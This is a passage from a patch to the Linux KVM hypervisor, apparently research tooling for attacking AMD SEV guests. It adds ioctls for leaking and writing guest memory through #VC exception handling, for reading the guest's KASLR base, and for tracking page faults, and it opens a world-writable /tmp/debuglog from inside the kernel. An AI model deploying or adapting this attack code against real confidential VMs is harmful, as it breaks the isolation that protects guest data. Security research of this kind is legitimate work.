offset 1255 | + 1256 | + bool do_read; 1257 | + 1258 | + uint64_t vc_handle_exitcode_page_part_1; 1259 | + 1260 | + uint64_t getrandom_syscall_addr; // 0x693600 1261 | + uint64_t get_random_return_val; 1262 | + 1263 | + uint64_t instruction_skip_rdtsc; 1264 | + uint64_t instruction_skip_ns; 1265 | + bool block_on_page; 1266 | + 1267 | + uint64_t page_fault_count_till_vmlinux_switch; 1268 | + 1269 | + uint64_t generic_page_fault_counter; 1270 | + 1271 | + uint64_t generic_vc_counter; 1272 | + 1273 | +}; 1274 | + 1275 | +extern struct npf_exception_coordination user_data_npf_ex; 1276 | + 1277 | +#endif //_LINUX_INTR_INJ_H 1278 | \ No newline at end of file 1279 | diff --git a/include/uapi/linux/kvm.h b/include/uapi/linux/kvm.h 1280 | index e7514c29218f..219164b7d167 100644 1281 | --- a/include/uapi/linux/kvm.h 1282 | +++ b/include/uapi/linux/kvm.h 1283 | @@ -947,11 +947,29 @@ struct kvm_ppc_resize_hpt { 1284 | #define KVM_VM_TYPE_ARM_IPA_SIZE_MASK 0xffULL 1285 | #define KVM_VM_TYPE_ARM_IPA_SIZE(x) \ 1286 | ((x) & KVM_VM_TYPE_ARM_IPA_SIZE_MASK) 1287 | + 1288 | +struct kvm_vc_leak { 1289 | + __u64 leak_addr; 1290 | + __u64 leak_data; 1291 | + __u8 read; 1292 | + __u64 virtual_kaslr_base; 1293 | + __u64 physcial_kaslr_base; 1294 | +}; 1295 | + 1296 | /* 1297 | * ioctls for /dev/kvm fds: 1298 | */ 1299 | #define KVM_GET_API_VERSION _IO(KVMIO, 0x00) 1300 | #define KVM_CREATE_VM _IO(KVMIO, 0x01) /* returns a VM fd */ 1301 | +#define KVM_VC_SET_STUFF _IOW(KVMIO, 0x11, struct kvm_vc_leak) 1302 | +#define KVM_VC_GET_STUFF _IOR(KVMIO, 0x12, struct kvm_vc_leak) 1303 | +#define KVM_VC_GET_KASLR _IOR(KVMIO, 0x13, struct kvm_vc_leak) 1304 | +#define KVM_VC_WRITE_LOCK _IO(KVMIO, 0x14) 1305 | +#define KVM_VC_WRITE_UNLOCK _IO(KVMIO, 0x15) 1306 | +#define KVM_VC_SET_PF_CNT _IO(KVMIO, 0x16) 1307 | +#define KVM_VC_GET_PF_CNT _IO(KVMIO, 0x17) 1308 | +#define KVM_VC_SET_VC_CNT _IO(KVMIO, 0x18) 1309 | +#define KVM_VC_GET_VC_CNT _IO(KVMIO, 0x19) 1310 | #define KVM_GET_MSR_INDEX_LIST _IOWR(KVMIO, 0x02, struct kvm_msr_list) 1311 | 1312 | #define KVM_S390_ENABLE_SIE _IO(KVMIO, 0x06) 1313 | diff --git a/reload.sh b/reload.sh 1314 | new file mode 100755 1315 | index 000000000000..96d7da1e630a 1316 | --- /dev/null 1317 | +++ b/reload.sh 1318 | @@ -0,0 +1,4 @@ 1319 | +#!/bin/bash 1320 | + 1321 | +sudo rmmod kvm_amd kvm 1322 | +sudo modprobe kvm_amd 1323 | diff --git a/remake_kvm.sh b/remake_kvm.sh 1324 | new file mode 100755 1325 | index 000000000000..502e48d3cbf7 1326 | --- /dev/null 1327 | +++ b/remake_kvm.sh 1328 | @@ -0,0 +1,9 @@ 1329 | +#!/bin/bash 1330 | + 1331 | +make -j32 1332 | +sudo make modules_install -j32 1333 | +sudo rmmod kvm_amd 1334 | +sudo rmmod kvm 1335 | +sudo make headers_install INSTALL_HDR_PATH=/usr/ 1336 | +sudo modprobe kvm 1337 | +sudo modprobe kvm_amd 1338 | diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c 1339 | index 4a891f70230f..0cb047fbe4dd 100644 1340 | --- a/virt/kvm/kvm_main.c 1341 | +++ b/virt/kvm/kvm_main.c 1342 | @@ -52,11 +52,20 @@ 1343 | #include 1344 | #include 1345 | #include 1346 | +#include 1347 | 1348 | #include 1349 | #include 1350 | #include 1351 | 1352 | +// For file stuff 1353 | +#include 1354 | +#include 1355 | +#include 1356 | +#include 1357 | +#include 1358 | +// ---------------- 1359 | + 1360 | #include "coalesced_mmio.h" 1361 | #include "async_pf.h" 1362 | #include "kvm_mm.h" 1363 | @@ -1213,7 +1222,7 @@ static struct kvm *kvm_create_vm(unsigned long type, const char *fdname) 1364 | 1365 | if (!kvm) 1366 | return ERR_PTR(-ENOMEM); 1367 | - 1368 | + pr_info("creating VM\n"); 1369 | /* KVM is pinned via open("/dev/kvm"), the fd passed to this ioctl(). */ 1370 | __module_get(kvm_chardev_ops.owner); 1371 | 1372 | @@ -1279,10 +1288,10 @@ static struct kvm *kvm_create_vm(unsigned long type, const char *fdname) 1373 | goto out_err_no_arch_destroy_vm; 1374 | } 1375 | 1376 | + pr_info("before init\n"); 1377 | r = kvm_arch_init_vm(kvm, type); 1378 | if (r) 1379 | goto out_err_no_arch_destroy_vm; 1380 | - 1381 | r = hardware_enable_all(); 1382 | if (r) 1383 | goto out_err_no_disable; 1384 | @@ -1295,6 +1304,7 @@ static struct kvm *kvm_create_vm(unsigned long type, const char *fdname) 1385 | if (r) 1386 | goto out_err_no_mmu_notifier; 1387 | 1388 | + pr_info("after mmu not\n"); 1389 | r = kvm_coalesced_mmio_init(kvm); 1390 | if (r < 0) 1391 | goto out_no_coalesced_mmio; 1392 | @@ -4321,6 +4331,28 @@ static int kvm_vcpu_ioctl_get_stats_fd(struct kvm_vcpu *vcpu) 1393 | return fd; 1394 | } 1395 | 1396 | + 1397 | +struct file *file_open(const char *path, int flags, int rights) 1398 | +{ 1399 | + struct file *filp = NULL; 1400 | + int err = 0; 1401 | + 1402 | + 1403 | + filp = filp_open(path, flags, rights); 1404 | + if (IS_ERR(filp)) { 1405 | + err = PTR_ERR(filp); 1406 | + return NULL; 1407 | + } 1408 | + return filp; 1409 | +} 1410 | + 1411 | +struct file *trace_dump_tmp; 1412 | +EXPORT_SYMBOL(trace_dump_tmp); 1413 | + 1414 | +long kvm_start_tracking(struct kvm_vcpu *vcpu, bool init); 1415 | +extern int kvm_mmu_reload(struct kvm_vcpu *vcpu); 1416 | + 1417 | + 1418 | static long kvm_vcpu_ioctl(struct file *filp, 1419 | unsigned int ioctl, unsigned long arg) 1420 | { 1421 | @@ -4329,6 +4361,7 @@ static long kvm_vcpu_ioctl(struct file *filp, 1422 | int r; 1423 | struct kvm_fpu *fpu = NULL; 1424 | struct kvm_sregs *kvm_sregs = NULL; 1425 | + static uint64_t should_flush = 0; 1426 | 1427 | if (vcpu->kvm->mm != current->mm || vcpu->kvm->vm_dead) 1428 | return -EIO; 1429 | @@ -4349,6 +4382,19 @@ static long kvm_vcpu_ioctl(struct file *filp, 1430 | switch (ioctl) { 1431 | case KVM_RUN: { 1432 | struct pid *oldpid; 1433 | + // We flush on first run of vcpu 1434 | + // Have to reload the module to flush again 1435 | + should_flush++; 1436 | + if (should_flush == 1) { 1437 | + kvm_start_tracking(vcpu, true); 1438 | + user_data_npf_ex.page_fault_count_till_vmlinux_switch = 0; 1439 | + trace_dump_tmp = file_open("/tmp/debuglog", O_CREAT | O_RDWR, 0666); 1440 | + if (trace_dump_tmp == NULL) { 1441 | + printk("Failed to open file\n"); 1442 | + return -EINVAL; 1443 | + } 1444 | + } 1445 | + 1446 | r = -EINVAL; 1447 | if (arg) 1448 | goto out; 1449 | @@ -5369,6 +5415,82 @@ static int kvm_dev_ioctl_create_vm(unsigned long type) 1450 | return r; 1451 | } 1452 | 1453 | +static long lock_write_mov_page(void){ 1454 | + user_data_npf_ex.block_on_page = true; 1455 | + return 0; 1456 | +} 1457 | + 1458 | +static long unlock_write_mov_page(void){ 1459 | + user_data_npf_ex.block_on_page = false; 1460 | + if (user_data_npf_ex.state == VC_BLOCK_ON_MOV){ 1461 | + user_data_npf_ex.state = VC_IDLE; 1462 | + } 1463 | + return 0; 1464 | +} 1465 | + 1466 | +static long handle_set_stuff(unsigned long arg){ 1467 | + void __user *argp = (void __user *)arg; 1468 | + 1469 | + struct kvm_vc_leak __user *user_leak_vc_struct = argp; 1470 | + struct kvm_vc_leak leak_vc_struct; 1471 | + 1472 | + if (copy_from_user(&leak_vc_struct, user_leak_vc_struct, sizeof(leak_vc_struct))) 1473 | + return -EFAULT; 1474 | + 1475 | + if( (user_data_npf_ex.state != VC_IDLE && user_data_npf_ex.state != VC_BLOCK_ON_MOV) || user_data_npf_ex.start == true){ 1476 | + return -EFAULT; 1477 | + } 1478 | + 1479 | + user_data_npf_ex.leak_addr = leak_vc_struct.leak_addr; 1480 | + user_data_npf_ex.data_user = leak_vc_struct.leak_data; 1481 | + user_data_npf_ex.do_read = leak_vc_struct.read; 1482 | + user_data_npf_ex.start = true; 1483 | + 1484 | + return 0; 1485 | +} 1486 | + 1487 | +static long handle_get_stuff(unsigned long arg){ 1488 | + void __user *argp = (void __user *)arg; 1489 | + struct kvm_vc_leak __user *user_leak_vc_struct = argp; 1490 | + struct kvm_vc_leak leak_vc_struct; 1491 | + 1492 | + if( (user_data_npf_ex.state != VC_IDLE && user_data_npf_ex.state != VC_BLOCK_ON_MOV) || user_data_npf_ex.start == true){ 1493 | + return -EBUSY; 1494 | + } 1495 | + //pr_info("user_data_npf_ex state 0x%x",user_data_npf_ex.state); 1496 | + //pr_info("user_data_npf_ex data_user 0x%llx",user_data_npf_ex.data_user); 1497 | + leak_vc_struct.leak_addr = user_data_npf_ex.leak_addr; 1498 | + leak_vc_struct.leak_data = user_data_npf_ex.data_user; 1499 | + leak_vc_struct.read = user_data_npf_ex.do_read; 1500 | + if (copy_to_user(user_leak_vc_struct, &leak_vc_struct, sizeof(leak_vc_struct))) 1501 | + return -EFAULT; 1502 | + 1503 | + return 0; 1504 | +} 1505 | + 1506 | +static long handle_vc_get_kaslr(unsigned long arg){ 1507 | + void __user *argp = (void __user *)arg; 1508 | + struct kvm_vc_leak __user *user_leak_vc_struct = argp; 1509 | + struct kvm_vc_leak leak_vc_struct; 1510 | + 1511 | + leak_vc_struct.virtual_kaslr_base = user_data_npf_ex.virtual_base_addr_kernel; 1512 | + leak_vc_struct.physcial_kaslr_base = user_data_npf_ex.physical_base_addr_kernel; 1513 | + if (copy_to_user(user_leak_vc_struct, &leak_vc_struct, sizeof(leak_vc_struct))) 1514 | + return -EFAULT; 1515 | + 1516 | + __flush_tlb_all(); 1517 | + return 0; 1518 | +} 1519 | + 1520 | +static long set_pf_count(void){ 1521 | + user_data_npf_ex.generic_page_fault_counter = 0; 1522 | + return 0; 1523 | +} 1524 | + 1525 | +static long get_pf_count(void){ 1526 | + return user_data_npf_ex.generic_page_fault_counter; 1527 | +} 1528 | + 1529 | static long kvm_dev_ioctl(struct file *filp, 1530 | unsigned int ioctl, unsigned long arg) 1531 | { 1532 | @@ -5402,6 +5524,26 @@ static long kvm_dev_ioctl(struct file *filp, 1533 | case KVM_TRACE_DISABLE: 1534 | r = -EOPNOTSUPP; 1535 | break; 1536 | + case KVM_VC_SET_STUFF: 1537 | + return handle_set_stuff(arg); 1538 | + break; 1539 | + case KVM_VC_GET_STUFF: 1540 | + return handle_get_stuff(arg); 1541 | + case KVM_VC_GET_KASLR: 1542 | + return handle_vc_get_kaslr(arg); 1543 | + case KVM_VC_WRITE_LOCK: 1544 | + return lock_write_mov_page(); 1545 | + case KVM_VC_WRITE_UNLOCK: 1546 | + return unlock_write_mov_page(); 1547 | + case KVM_VC_GET_PF_CNT: 1548 | + return get_pf_count(); 1549 | + case KVM_VC_SET_PF_CNT: 1550 | + return set_pf_count(); 1551 | + case KVM_VC_GET_VC_CNT: 1552 | + return user_data_npf_ex.generic_vc_counter; 1553 | + case KVM_VC_SET_VC_CNT: 1554 | + user_data_npf_ex.generic_vc_counter = 0; 1555 | + return 0; 1556 | default: 1557 | return kvm_arch_dev_ioctl(filp, ioctl, arg); 1558 | } 1559 | --------------------------------------------------------------------------------